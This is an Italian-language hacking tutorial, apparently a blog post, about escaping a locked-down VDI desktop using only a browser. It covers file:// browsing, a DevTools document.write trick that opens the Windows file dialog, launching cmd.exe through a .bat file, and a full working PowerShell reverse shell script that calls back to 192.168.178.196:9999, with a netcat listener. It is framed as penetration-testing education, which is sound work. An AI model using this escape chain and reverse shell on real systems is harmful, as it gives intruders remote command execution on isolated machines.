Categories: ⚔️, Hacking10.1 min read

From Browser To ReverseShell

Difficilmente un “Ethical Hacker” o un “Penetration Tester” possono scegliere la metodologia a loro più congeniale per raggiungere l’obiettivo: la maggior parte delle volte, devono adattarsi e servirsi di ciò che hanno attorno. Tuttavia, per quanto la situazione possa apparire insormontabile, esiste sempre una strada, una possibilità di “exploitation”. A volte si tratta solo di cambiare punto di vista…

Per fare un esempio, proviamo ad analizzare uno scenario in cui ipotizziamo che l’entry point dell’attaccante sia un server Windows Virtual Desktop Infrastructure (VDI).

La tecnologia VDI permette di virtualizzare le macchine desktop su un server centralizzato e di distribuirle agli utenti finali, su richiesta. Sostanzialmente, l’utente non ha la propria macchina desktop, ma essa gli viene fornita ogni volta da un pool d’immagini create a questo scopo. La VDI può essere quindi persistente o non persistente.

  • Persistente: l’utente ha la propria immagine e si connette sempre al medesimo desktop, può personalizzarlo e salvare le modifiche anche quando la connessione viene reimpostata.
  • Non Persistente: gli utenti si connettono a desktop generici con delle impostazioni di default e tutte le impostazioni vengono perse quando la connessione viene resettata.

Facciamo un esempio più concreto, rispetto all’utilizzo di questa tecnologia.

Immaginate un ambiente classificato, dove vigono le norme imposte da un livello di segretezza noto come “Segretissimo” (equivalente al “Top-Secret” americano). Si tratta di un ambiente completamente isolato, dove si accede spogli di qualsiasi strumento tecnologico, con un badge di riconoscimento e sorvegliati da telecamere.  Solitamente, quando si accede ai terminali di queste aree, si utilizza un VDI desktop non persistente.

L’attaccante ha quindi il solo accesso ad un desktop VDI tramite credenziali di Active Directory, dal quale può accedere esclusivamente ad un browser, senza accesso a internet, e con la possibilità di utilizzare esclusivamente una singola applicazione alla volta.

L’attaccante dovrà quindi ingegnarsi per ottenere la sua Shell!

Una shell è un’interfaccia che consente agli utenti di comunicare con un sistema operativo o con un programma. In pratica, una shell è un programma che interpreta i comandi dell’utente e li trasmette al sistema operativo o al programma in questione.

Intro URI ed URL

È opportuno, prima di tutto, fare chiarezza fra URI e URL: entrambi identificano univocamente l’interrogazione ad una determinata risorsa, ma con qualche differenza.

L’Uniform Resource Locator (URL) è un tipo di Uniform Resource Identifier (URI) che contiene le informazioni su come accedere ad una risorsa identificabile, come il sito web.

L’URI, invece, identifica universalmente il tipo di accesso ed il percorso ad una determinata risorsa. L’URL è quindi una tipologia di URI.

Parte I – Anatomia di un URL

Il nostro browser risulta quindi, potenzialmente, l’unico vettore d’attacco che l’attaccante ha a disposizione. Attraverso l’immissione di un dato URL, l’utente che utilizza il VDI raggiunge quindi l’applicazione web che desidera utilizzare per svolgere le proprie attività.

Addentriamoci e analizziamo le parti dell’Uniform Resource Locator (URL).

  • Schema o Protocollo: è il primo elemento che compone l’URL e può essere di diversi tipi (http, https, FTP, etc…). Esso indica l’insieme delle regole che decideranno la trasmissione e lo scambio dei dati.
  • Sottodominio: se il sito web fosse una casa, il sottodominio sarebbe una stanza di quella casa. Viene utilizzato per creare sezioni specifiche del sito web, ad esempio aree per gli accessi riservati, blog, offerte, etc..
  • Dominio: è il nome univoco che identifica il sito web.
  • Dominio di Primo livello (DPL): Il DPL (o Top Level Domain) è la parte finale dell’indirizzo web, che generalmente indentifica la tipologia dell’organizzazione, .it , .edu , .com , etc…
  • Porta: è la porta dove il dato servizio è esposto. Convenzionalmente, per lo schema http e https vengono utilizzate rispettivamente la porta 80 / 8080 e 443.
  • Percorso: il percorso o (sottodirectory) identifica in quale parte specifica del sito web ci troviamo (ad esempio nella sezione degli articoli del blog dedicati alla parte di hacking).
  • Il separatore della query: rappresentato dal “punto interrogativo” (?) è utilizzato per separare i vari parametri presenti nell’URL e viene usato per indicare al server una specifica richiesta basata, ad esempio, su uno specifico nome.
  • Parametri della Query: sono le richieste, le interrogazioni specifiche fatte al server.
  • Fragment: rappresentato dal carattere “cancelletto” (#) è comunemente conosciuto con il nome di “anchor” ed indica un punto specifico in una pagina web. Principalmente, è impiegato per creare link interni alla pagina, in modo da permettere agli utenti di saltare direttamente ad una specifica sezione all’interno della web-page.

Parte II – Lo “Schema”

Adesso torniamo, momentaneamente, sullo “Schema” o “Protocollo”. In altre parole, si tratta della parte dell’URL che dice come catalogare il resto della richiesta URI.

Ad esempio, lo “Schema” File Transfer Protocol (ftp), indica che il resto dell’URI è una richiesta FTP.  Quando digiteremo un URI con questo “Schema” il browser tenterà di connettersi al server FTP specificato nella richiesta. Se la connessione riesce, verrà visualizzata una finestra di dialogo per richiedere il nome utente e la password per l’autenticazione al server FTP; una volta autenticati, verrà visualizzato il contenuto del server FTP, come file e cartelle, e sarà possibile navigare e scaricare i file dal server.

Esiste un’altra tipologia di “Schema”, noto come file , che permette invece di leggere i file del sistema operativo utilizzando il browser.

Supponiamo che il nostro attaccante voglia tentare di utilizzare il protocollo file , mediante il suo unico entry-point: il browser installato sulla macchina. Una volta lanciato il browser, utilizzerà il protocollo file per leggere il file hosts sulla macchina locale. Quindi, digiterà il percorso sulla barra di ricerca preceduto dal protocollo:

file:\\\C:WINDOWS\System32\drivers\etc\hosts

Il risultato, come ci aspetteremmo, sarà la visualizzazione del file hosts attraverso il browser.

Facciamo un ulteriore passo. In questo caso, conoscevamo l’esatta posizione del file, ma potremmo anche decidere di sondare il contenuto di una determinata directory. Poniamo che al nostro attaccante interessi il contenuto del disco C.

Egli digiterà quindi nella barra degli indirizzi il seguente URI: file:///c:/ e, in risposta, il browser presenterà la lista delle cartelle e dei file contenuti nel disco C.

Parte III – Upload

Leggere i file della vittima è un buon inizio per un attacco, ma l’obiettivo ultimo è quello di accedere all’interfaccia comandi del sistema operativo.

Il processo di Upload di un file, nel sistema operativo Windows, ha inizio con una “finestra di dialogo Apri” o “finestra di dialogo Seleziona file”. Essa è parte integrante del Sistema Operativo e fa parte delle sue funzionalità di base. Se l’attaccante avesse modo di accedere a tale funzionalità di base, potrebbe sfruttarla a suo vantaggio per creare ed eseguire un file.

Potrebbe quindi creare per l’occasione un semplice strumento per le funzionalità di upload, sfruttando il browser. Per farlo, si potrebbe procedere nel seguente modo:

1. Apriamo il browser
2. Premiamo il tasto F12 per accedere alla “Console del browser” / “Strumenti per sviluppatori”
3. Nel menù in alto, selezioniamo la voce “Console” e clicchiamo al suo interno con il tasto destro del mouse, selezionando l’opzione “Clear”. A questo punto, il cursore inizierà a lampeggiare, in attesa del nostro input

4. Immettiamo adesso il seguente codice all’interno della console e analizziamolo:

write('<input/type=file>')

  • write() : la funzione viene utilizzata per creare un nuovo elemento input (tipologia “file”) all’interno della pagina corrente.
  • <input/type=file> : prende come parametro una stringa di testo che rappresenta il contenuto HTML da inserire nel documento. Nel caso specifico, la stringa è un’etichetta input di tipo file <input/type=file>

Poniamo che l’attaccante abbia difronte un altro browser, basato sempre su Chromium: Google Chrome.

In maniera analoga, l’attaccante potrebbe richiamare la “Finestra di dialogo Apri” tramite l’upload utilizzando una sintassi simile alla precedente, ma che utilizza esplicitamente javascript

javascript:document.write('<input/type=file>')

5. Una volta inserito il codice, diamo “enter”.

6. Appena il codice sarà eseguito, verrà visualizzato il titolo “Upload File” e un campo di input, che consentirà all’utente di selezionare il file per l’upload.

Ci siamo! A questo punto, l’attaccante avrà raggiunto il proprio scopo: non appena cliccherà su “Choose File”, avrà ottenuto l’accesso alla “Finestra di dialogo Apri” di Windows.

Parte IV – Shell

È giunto il momento, per l’attaccante, di aprire la sua shell. Operando attraverso la “Finestra di dialogo Apri” del sistema operativo Windows, è possibile (come già detto) creare un file:

1. Clicchiamo con il tasto destro del mouse, selezioniamo prima “New” e successivamente “Text Document”

2. Scegliamo il nome del file: bat (nel mio caso) e diamo “enter”. Selezioniamo ancora una volta il file cliccando con il tasto destro del mouse ed editiamolo, scegliendo l’omonima opzione.

3. Una volta aperto l’editor di testo, digitiamo exe , salviamo ed usciamo, chiudendo l’editor.

4. Ora, non rimane che eseguirlo. Sempre rimanendo all’interno della finestra di dialogo dell’Upload, clicchiamo sul file (ancora una volta con il tasto destro del mouse) e selezioniamo “Open”.

A questo punto, l’attaccante avrà ottenuto la sua Shell all’interno del sistema!

Parte V – Reverse Shell

Ipotizziamo che l’attaccante voglia spingersi ancora oltre, cercando di ottenere una Reverse Shell all’interno del sistema, cioè una connessione di ritorno verso la sua macchina. In altre parole, invece di avere solamente la shell, l’attaccante intende averne una sulla macchina vittima, dalla propria macchina.

Poniamo che, per crearne una, decida di utilizzare PowerShell e supponiamo che la nostra macchina attaccante abbia il seguente indirizzo IP: 192.168.178.196 . La porta su cui riceveremo la Reverse Shell è la 9999. La vittima, invece: 192.168.178.198

Nel nostro, esempio utilizzerò il seguente codice PowerShell, scaricabile al link:

https://github.com/martinsohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1

do {

    # Delay before establishing network connection, and between retries

    Start-Sleep -Seconds 1

    # Connect to C2

    try{

        $TCPClient = New-Object Net.Sockets.TCPClient('192.168.178.196', 9999)

    } catch {}

} until ($TCPClient.Connected)

$NetworkStream = $TCPClient.GetStream()

$StreamWriter = New-Object IO.StreamWriter($NetworkStream)

# Writes a string to C2

function WriteToStream ($String) {

    # Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)

    [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}

    # Write to C2

    $StreamWriter.Write($String + 'SHELL> ')

    $StreamWriter.Flush()

}

# Initial output to C2. The function also creates the inital empty byte array buffer used below.

WriteToStream ''

# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.

while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {

    # Encode command, remove last byte/newline

    $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)

    # Execute command and save output (including errors thrown)

    $Output = try {

            Invoke-Expression $Command 2>&1 | Out-String

        } catch {

            $_ | Out-String

        }

    # Write output to C2

    WriteToStream ($Output)

}

# Closes the StreamWriter and the underlying TCPClient

$StreamWriter.Close()

Per prima cosa, mettiamoci in ascolto sulla nostra macchina attaccante, utilizzando la seguente sintassi:

nc –lvp 9999

  • nc: invochiamo netcat
  • -l: listening mode
  • -v: verbose
  • -p: porta
  • 9999: porta su cui desideriamo metterci in ascolto

Spostiamoci sulla macchina vittima e riapriamo la nostra “Finestra di dialogo Apri” (come illustrato nella Parte III), creando un nuovo file di testo. Questa volta, tuttavia, invece di scrivere cmd.exe, incolliamo il codice PowerShell, salviamolo con l’estensione .ps1 e usciamo.

Esattamente come per aprire la shell, clicchiamo con il tasto destro del mouse sul file che abbiamo appena creato e scegliamo “Edit”.

A questo punto, si aprirà direttamente l’IDE di PowerShell. Infine, al suo interno digitiamo .\ReverseShell.ps1 per ottenere la nostra ReverseShell!

L’IDE di PowerShell (Integrated Development Environment) è un ambiente di sviluppo che fornisce gli strumenti necessari per scrivere, testare e modificare script e comandi PowerShell. L’IDE di PowerShell include un editor di testo avanzato, un debug, una finestra di output e una console di PowerShell integrata.

Go to Top